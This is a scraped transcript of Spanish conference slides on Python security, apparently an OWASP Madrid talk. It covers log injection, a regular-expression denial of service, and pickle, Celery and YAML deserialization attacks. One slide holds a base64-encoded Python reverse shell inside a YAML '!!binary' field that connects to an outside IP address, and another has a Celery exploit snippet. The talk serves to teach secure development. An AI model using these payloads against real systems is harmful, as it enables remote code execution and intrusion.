Seguridad & Python: El desarrollo seguro no sólo es cosa de Java
-
Upload
owaspmadrid-chapter -
Category
Software
-
view
135 -
download
2
Transcript of Seguridad & Python: El desarrollo seguro no sólo es cosa de Java
![Page 1: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/1.jpg)
DANIEL GARCÍA (CR0HN)
SEGURIDAD & PYTHONEL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
https://github.com/cr0hn/i-owasp-madrid
![Page 2: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/2.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DE QUÉ VA ESTA CHARLA?
▸ Seguridad en código en Python
▸ OWASP aplicado a Python.
▸ Seguridad práctica en Python
▸ Hacking a Python.
▸ E x p l o t a c i ó n d e vulnerabilidades NO tan típicas…
![Page 3: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/3.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES TÍPICAS
▸ Cross Site Scripting (XSS).
▸ SQL Injection
▸ Auth
▸ ….
![Page 4: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/4.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES TÍPICAS
▸ Cross Site Scripting (XSS).
▸ SQL Injection
▸ Auth
▸ ….
![Page 5: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/5.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES TÍPICAS
▸ Cross Site Scripting (XSS).
▸ SQL Injection
▸ Auth
▸ ….
![Page 6: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/6.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES POCO CONOCIDAS
![Page 7: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/7.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION
![Page 8: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/8.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (1/3)
@app.route("/info", methods=["POST"])def logi(): data = request.form['id'] log.debug("[*] Tried to get info '" + data + "' from the user.") return "got info!"
logi/app.py
![Page 9: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/9.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (1/3)
@app.route("/info", methods=["POST"])def logi(): data = request.form['id'] log.debug("[*] Tried to get info '" + data + "' from the user.") return "got info!"
logi/app.py
![Page 10: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/10.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (2/3)
![Page 11: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/11.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (2/3)
![Page 12: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/12.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (3/3)
![Page 13: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/13.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (3/3)
![Page 14: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/14.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX
![Page 15: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/15.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (1/3)
Regex: ^(a+)+$
![Page 16: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/16.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (1/3)
Regex: ^(a+)+$
![Page 17: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/17.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (1/3)
Regex: ^(a+)+$
Denial Of System (DoS)
![Page 18: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/18.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (2/3)
@app.route("/mailme/<mail>", methods=["GET"])def logi(mail=None): if re.match(r'^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$', mail): return "mail sent to: %s" % mail else: return "mail forma invalid"
![Page 19: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/19.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (2/3)
@app.route("/mailme/<mail>", methods=["GET"])def logi(mail=None): if re.match(r'^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$', mail): return "mail sent to: %s" % mail else: return "mail forma invalid"
![Page 20: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/20.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
![Page 21: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/21.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
![Page 22: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/22.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
![Page 23: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/23.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
30 seconds
![Page 24: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/24.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES “RARUNAS" I: PICKLE
![Page 25: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/25.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QÚE ES Y PARA QUÉ SIRVE PICKLE
![Page 26: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/26.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ ES PICKLE
▸ Módulo de Python que permite serializar y deserializar estructuras de Python.
▸ Es muy sencillo de utilizar.
▸ Viene incorporado con las librerías nativas.
▸ Es el formato de serialización por defecto de muchos frameworks.
![Page 27: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/27.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ PROBLEMA HAY CON PICKLE?
![Page 28: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/28.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ PROBLEMA HAY CON PICKLE?
![Page 29: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/29.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ PROBLEMA HAY CON PICKLE?
![Page 30: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/30.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CÓMO FUNCIONA? (1/2)
# -*- coding: utf-8 -*-import pickleclass ImSoHappy(object): def __init__(self): self.my_var = []def main(): pickle.dump(ImSoHappy(), open("my_info.db", "wb")) if __name__ == '__main__': main()
pickle/pickle-good.py
![Page 31: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/31.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CÓMO FUNCIONA? (1/2)
# -*- coding: utf-8 -*-import pickleclass ImSoHappy(object): def __init__(self): self.my_var = []def main(): pickle.dump(ImSoHappy(), open("my_info.db", "wb")) if __name__ == '__main__': main()
pickle/pickle-good.py
![Page 32: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/32.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CÓMO FUNCIONA? (2/2)
?c__main__ImSoHappyq)?q}qXmy_varq]qsb.
pickle/my_info.db
![Page 33: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/33.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VOLVÁMONOS MALOS
![Page 34: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/34.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VOLVÁMONOS MALOS
![Page 35: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/35.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI…
▸ Pickle nos permitiera modificar el flujo de deserialización?
▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de deserializa?
▸ Y si ejecutaremos cosas malas?
▸ Y si fuéramos muy muy muy malos… y si inyectáramos un shell????
![Page 36: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/36.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI…
▸ Pickle nos permitiera modificar el flujo de deserialización?
▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de deserializa?
▸ Y si ejecutaremos cosas malas?
▸ Y si fuéramos muy muy muy malos… y si inyectáramos un shell????
![Page 37: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/37.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… HICIÉRAMOS UNA DEMO?
pickle/pickle-004.py
pickle/pickle-003.py
pickle/pickle-002.py
pickle/pickle-001.py
![Page 38: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/38.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… HICIÉRAMOS UNA DEMO?
pickle/pickle-004.py
pickle/pickle-003.py
pickle/pickle-002.py
pickle/pickle-001.py
![Page 39: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/39.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CELERY + PICKLE: GRAN FALLO DE SEGURIDAD
![Page 40: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/40.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (1/5)
![Page 41: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/41.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)
![Page 42: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/42.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)
![Page 43: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/43.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5)
worker2
Worker
worker1
Worker
heavy_action()
![Page 44: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/44.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5)
Broker
worker2
Worker
worker1
Worker
heavy_action()
![Page 45: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/45.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (4/5)
from celery import Celeryapp = Celery(broker="redis://127.0.0.1")@app.task(name="heavy_action")def heavy_action(param): print(param)def main(): # Exploit! app.send_task("heavy_action", (MyLittleBastard(), ))
pickle/celery_exploit.py
![Page 46: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/46.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (5/5)
¡Demo time!
![Page 47: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/47.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES “RARUNAS" II: YAML
![Page 48: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/48.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ ES EL YAMLimport yamlYAML = '''hello: worldhow: - are - you'''def main(): print(yaml.load(YAML))if __name__ == '__main__': main()
{ 'how': ['are', 'you'], 'hello': ‘world’ }
yml/yml-001.py
![Page 49: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/49.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAMLimport yamlYAML = '''hello: worldhow: - are - youmy_bool: !!bool False'''def main(): print(yaml.load(YAML))
{ 'my_bool': False, 'hello': 'world', 'how': ['are', ‘you'] }
yml/yml-002.py
![Page 50: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/50.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAMLimport yamlYAML = '''hello: worldhow: - are - youmy_bool: !!bool False'''def main(): print(yaml.load(YAML))
{ 'my_bool': False, 'hello': 'world', 'how': ['are', ‘you'] }
yml/yml-002.py
![Page 51: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/51.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
![Page 52: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/52.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
![Page 53: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/53.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
![Page 54: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/54.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EJEMPLOS… YUHU!!!import yamlYAML = '''hello: worldhow: - are - yougif_image: !!binary "R0lGODlhDAAMAIQAAP//9/X17unp5WZmZgAAAOfn515eXvPz7Y6OjuDg4J+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++SH+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAAMAAAFLCAgjoEwnuNAFOhpEMTRiggcz4BNJHrv/zCFcLiwMWYNG84BwwEeECcgggoBADs="'''
import yamlYAML = '''hello: worldhow: - are - youreverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK" '''
yml/yml-003.py yml/yml-004.py
![Page 55: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/55.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EJEMPLOS… YUHU!!!import yamlYAML = '''hello: worldhow: - are - yougif_image: !!binary "R0lGODlhDAAMAIQAAP//9/X17unp5WZmZgAAAOfn515eXvPz7Y6OjuDg4J+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++SH+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAAMAAAFLCAgjoEwnuNAFOhpEMTRiggcz4BNJHrv/zCFcLiwMWYNG84BwwEeECcgggoBADs="'''
import yamlYAML = '''hello: worldhow: - are - youreverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK" '''
yml/yml-003.py yml/yml-004.py
![Page 56: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/56.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EJEMPLOS… YUHU!!!import yamlYAML = '''hello: worldhow: - are - yougif_image: !!binary "R0lGODlhDAAMAIQAAP//9/X17unp5WZmZgAAAOfn515eXvPz7Y6OjuDg4J+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++SH+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAAMAAAFLCAgjoEwnuNAFOhpEMTRiggcz4BNJHrv/zCFcLiwMWYNG84BwwEeECcgggoBADs="'''
import yamlYAML = '''hello: worldhow: - are - youreverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK" '''
yml/yml-003.py yml/yml-004.py
![Page 57: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java](https://reader031.fdocument.pub/reader031/viewer/2022021503/5871253f1a28abe4448b5f4f/html5/thumbnails/57.jpg)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
¡GRACIAS!